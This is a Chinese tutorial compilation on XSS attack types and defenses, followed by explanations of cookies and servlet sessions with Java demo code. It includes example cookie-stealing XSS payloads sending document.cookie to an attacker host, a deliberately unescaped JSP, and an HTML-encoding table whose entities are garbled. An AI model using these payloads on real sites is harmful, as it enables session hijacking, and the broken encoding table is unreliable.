from：
http://ifeve.com/javaee-http-2/#
http://www.2cto.com/Article/201209/156182.html
http://blog.csdn.net/ghsau/article/details/17027893
1.有哪些攻击？
Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码，当用户浏览该页或者进行某些操作时，攻击者利用用户对原网站的信任，诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如：攻击者在论坛中放一个看似安全的链接，骗取用户点击后，窃取cookie中的用户私密信息；或者攻击者在论坛中加一个恶意表单，当用户提交表单的时候，却把信息传送到攻击者的服务器中，而不是用户原本以为的信任站点。
诸如此类，唯一能完全杜绝xss攻击的方法，就是禁用script，img等，显然这是不靠谱的，用户需要丰富的页面内容；当然我们可以用一些方法预防xss攻击，尽量减少xss造成的危害。
XSS攻击的危害包括
盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
xss攻击分类
分类方法一
xss攻击分为两类：从其它站点到应用站点的攻击、从应用站点到同站或其它站点的攻击
从其它站点到应用站点的攻击：故名思义，这种攻击是由外部发起的，来自email或其它站点。这种攻击在用户点击链接，下载图片或者提交表单的时候，对应用网站进行了意想之外的操作。
通常用户登录后会得到一个可用session，xss攻击者可以利用这个session，越过用户验证，进行一些不安全的操作，如下:
<a href = “http:// www.2cto.com /addComment.php?subject = I%20am%20owned” >Check it out!</a>
通过这个链接，只要用户登录了，就会发送一个subject，即使在其它网站上。
正因如此，一般的邮箱客户端不会自动从不信任的网站上加载图片（因为考虑到可以通过img的src属性向第三方站点发送GET请求）；另外，可以设置session的过期时间，让session自动失效。
从应用站点到同站或其它站点的攻击：这种攻击，通常是攻击者在应用站点上通过发表评论，或者其它方式嵌入代码，当用户加载页面或者点击链接就会产生一些意想之外的操作。
如下：
<a href=”#” onmouSEOver = “window.location = ‘http://reallybadguys.net/collectCookie.php?cookie = + document cookie.escape();” >Check it out!</a>当用户滑过链接，就会将cookie信息发到攻击者的服务器上。
分类方法二
xss的另一种分类方法（个人感觉更清楚），将xss攻击分为三种，
类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下：
Alice给Bob发送一个恶意构造了Web的URL。
Bob点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。
类型B
反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。
实例：
基于网页dom攻击：
当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：
| <%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容：<%=request.getParameter("content")%> </body> </html> |
http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script> 当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？
储存式攻击：
Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。
场景二：
a.com可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，
<script>window.open(“www.b.com?param=”+document.cookie)</script> 保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。
Stored XSS漏洞危害性更大，危害面更广。
我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。
Html encode
假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。
| less-than character (<) | < |
| greater-than character (>) | > |
| ampersand character (&) | & |
| double-quote character (") | " |
| space character( ) | |
| Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
附录：session和cookie原理
上一篇 图解Http协议 ，这次继续Http家族中的Cookie。泥瓦匠最近看到博客园中一篇好文《超大cookie拒绝服务攻击》，这就是因为浏览器Cookie太大，导致请求时，请求头域过大造成发送失败。下面咱们就了解一下Cookie。按着以前的思路图文并茂哈，没图说个XX。
一、概述
首先从HTTP说起，Cookie是Http协议中那部分呢？
Cookie是什么？
自问自答：Cookie是请求头域和响应头域的字段。简单地说，就是伴随请求和响应的一组键值对的文本，小文本。所以称之为”Cookie“饼干。Cookie的生命来源于服务器。首先是客户端请求服务端，此时请求为第一次，无Cookie参数。这时候，服务端setCookie发送给客户端。记住，Cookie来源自服务端。
Cookie有什么用呢？
又自问自答：Cookie来源自服务端，当然服务于客户。就像你我的会话，文字是在我们之间传递的。所以Cookie用于服务端和客户端的会话。因为Http协议是无状态的，Cookie就是维持会话，说白了就是传递数据的额外媒介。
下面我们访问百度地址。
① 产生于服务端的Response，在响应头域：
② 请求头域是这样的：（可以在Cookie Tab页发现，和响应有一样的）
下面泥瓦匠详细介绍其Cookie在 请求和响应 的传输过程。
二、详细介绍Cookie 传输过程
直接上图，一一详细解释。顺便写个CookieServlet，模拟一下Cookie的一生。代码如下：
package org.bysocket.http;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(urlPatterns="/cookie")
public class CookieServletT extends HttpServlet
{
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException
{
// 获取Cookie
Cookie[] cookies = req.getCookies();
for (Cookie cookie : cookies)
System.out.println(cookie.getName() + " " + cookie.getValue());
// 创建Cookie
Cookie cookie = new Cookie("CookieName", "CookieValue");
cookie.setMaxAge(10);
cookie.setHttpOnly(true);
resp.addCookie(cookie);
// 响应
PrintWriter pw = resp.getWriter();
pw.print("<html><body><h1>Hello,Cookie!</h1></body></html>");
}
}
① 客户端访问，无服务端写入的Cookie。
代码 new Cookie(“CookieName”, “CookieValue”); 可以看出服务端产生一个新的键值对Cookie，并且设置，说明第一次请求时，请求的请求头域Cookie是没有的。下面没有CookieName=CookieValue 的Cookie值。如图：
② 服务端的Cookie传至浏览器。
代码中 HttpServletResponse.addCookie(cookie); 这样响应就加入了刚刚那个键值对Cookie。怎么传到浏览器（客户端）呢? 同样F12下，
从图中可得到，Cookie是通过HTTP的响应头域发送至浏览器。每个Cookie的set，都有一个对应Set-Cookie的头。还有其中的时间代表Cookie的存活时间，HttpOnly可是此Cookie只读模式。
③ 浏览器解析Cookie，保存至浏览器文件。
直接可以打开IE的Internet选项：
如图，那个位置文件就是我们Cookie存的地方。既然在哪里，泥瓦匠就去找到它。
打开看看，其内容就是:存放着Cookie信息和URL信息及一些关于时间的。
CookieName
CookieValue
localhost/servletBYSocket/
9728
3416923392
30449698
3325104969
30449698
*这样就完全搞懂了Cookie如何写入浏览器。
④ 客户端访问，有服务端写入的Cookie。
这样，同样的URL再次访问时，F12下：
不多解释，看图。
⑤ 服务器获取
服务端这时呢？只要简单的 getCookies() 就可以获取Cookie列表了。如图，服务端控制台打印如下：
泥瓦匠记忆小抄：Cookie传输小结
① 客户端访问，无服务端写入的Cookie
② 服务端的Cookie写入浏览器
③ 浏览器解析Cookie，保存至浏览器文件
④ 客户端访问，有服务端写入的Cookie
⑤ 服务器获取
四、谈Cookie的作用到XSS（跨站点脚本攻击）
Cookie没有病毒那么危险，但包含敏感信息。比如最常见的记住密码，或者一些用户经常浏览的网页数据。如图：
用户不希望这些泄露，甚至被攻击。但事实上存在这个攻击，究竟怎么攻击呢？我在 跨脚本攻击XSS 一文中也详细介绍并提出解决方案。
全名：Cross Site Script，中文名：跨站脚本攻击。顾名思义，是指“HTML注入”纂改了网页，插入恶意的脚本，从而在用户用浏览网页的时候，控制用户浏览器的一种攻击。一般攻击的套路如图所示：
五、总结
回顾全文，Cookie是HTTP协议中的一种会话机制。也明白下面两个问题就好了
1、What 什么是Cookie
2、How Cookie怎么用，干嘛用
Writer ：BYSocket（泥沙砖瓦浆木匠）
一、Session由来
HTTP的无状态，也就是说，每次请求都是独立的线程。举个例子吧：购物中，你选择了A商品，加入购物车，这就是A线程。然后在选择B商品就是B线程。可是每次线程独立（对容器而言，A、B成了不同的用户），线程A不知道有B，B也不知道A。如何一起付款呢？
简答来说：怎么保存同个用户多个请求会话状态呢？自然HTTPS保证连接是安全的，可以使它与一个会话关联。
问题就在于如何跟踪同一个用户，选择自然很多：
1、EJB(有状态会话bean保存会话状态) 环境苛刻需要带EJB的J2EE服务器，而不是Tomcat这种Web容器。
2、数据库（这貌似万能的。针对数据）
3、就是我们要讲的HttpSeesion，保存跨一个特定用户多个请求的会话状态。
4、上面说的HTTPS,条件太苛刻了。
如图：
二、Session机制
机制，什么用词有点高大上。其实就是把它内在的一点东西说出来。主要两个W：What？How？
What is Session?
Session代表着服务器和客户端一次会话的过程。直到session失效（服务端关闭），或者客户端关闭时结束。
How does session works？
Session 是存储在服务端的，并针对每个客户端（客户），通过SessionID来区别不同用户的。Session是以Cookie技术或URL重写实现。默认以Cookie技术实现，服务端会给这次会话创造一个JSESSIONID的Cookie值。
补充：
其实还有一种技术：表单隐藏字段。它也可以实现session机制。这里只是作为补充，服务器响应前，会修改form表单，添加一个sessionID类似的隐藏域，以便传回服务端的时候可以标示出此会话。
这技术，也可以使用在Web安全上，可以有效地控制CSRF跨站请求伪造。
三、详细介绍Seesion机制过程
图中这是session第一次请求的详细图。以Cookie技术实现，我也写了个HttpSessionByCookieServletT.java 的Servlet小demo，模拟下Seesion的一生。代码如下：
package org.servlet.sessionMngmt;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/*
* Copyright [2015] [Jeff Lee]
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @author Jeff Lee
* @since 2015-7-12 10:58:28
* HttpSession的默认Cookie实现案例
*/
@WebServlet(urlPatterns = "/sessionByCookie")
public class HttpSessionByCookieServletT extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
// 获取session
// 如果是第一次请求的话，会创建一个HttpSeesion，等同于 req.getSession(true);
// 如果已存在session，则会获取session。
HttpSession session = req.getSession();
if (session.isNew()) {
// 设置session属性值
session.setAttribute("name", "Jeff");
}
// 获取SessionId
String sessionId = session.getId();
PrintWriter out = resp.getWriter();
// 如果HttpSeesion是新建的话
if (session.isNew()) {
out.println("Hello,HttpSession! <br>The first response - SeesionId="
+ sessionId + " <br>");
} else {
out.println("Hello,HttpSession! <br>The second response - SeesionId="
+ sessionId + " <br>");
// 从Session获取属性值
out.println("The second-response - name: "
+ session.getAttribute("name"));
}
}
}
隆重打个小广告：
泥瓦匠学习的代码都在github上（同步osc git），欢迎大家点star，提意见，一起进步。地址：https://github.com/JeffLi1993
① 客户端向服务端发送第一次请求
此时，客户端想让服务端把自己的名字设置到会话中。
② 服务端的容器产生该用户唯一sessionID的session对象，并设置值
可以从代码中看出通过从请求中req.getSession()，新生成了一个session对象。并设置了setAttribute(“name”, “Jeff”)，key为string，value是对象皆可。
这时候，我们不用再把session通过cookie技术处理，容器帮我们处理了。
③ 容器响应 Set-Cookie：JSESSIONID= …
我们可以F12,查看此次响应。
从图中可得到，每个Cookie的set，都有一个对应Set-Cookie的头。HttpOnly可是此Cookie只读模式。只不过session唯一标识是：JSESSIONID
④ 浏览器解析Cookie，保存至浏览器文件。
如图，找到了对应的session存储的cookie文件。该文件被保护不能打开。图解Cookie 教你怎么找到该文件。
第二次请求会发什么变化呢？
下面，泥瓦匠重新访问了这个地址：
① 再次请求
此时，请求会有Cookie值：JSESSIONID=… 该值传给服务端
② 容器获取SessionId
，关联HttpSession
③ 此时响应无SetCookie
如图：
但是这次请求，我们响应出上一次请求set的值。Jeff 就打印出来了！
关于服务端获取session，也就是从请求中获取session对象，容器会帮你根据Cookie找到唯一的session对象。
泥瓦匠记忆小抄：Seesion机制，记住两次请求图即可。
四、补充
点到为止哈~ 以后详细写。此图来自网络
上图Bad guy，就是攻击者。跨站请求伪造，伪造用户请求来对服务器数据或者是用户等造成威胁。web安全也就是从这些基础中慢慢提升。
7320
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
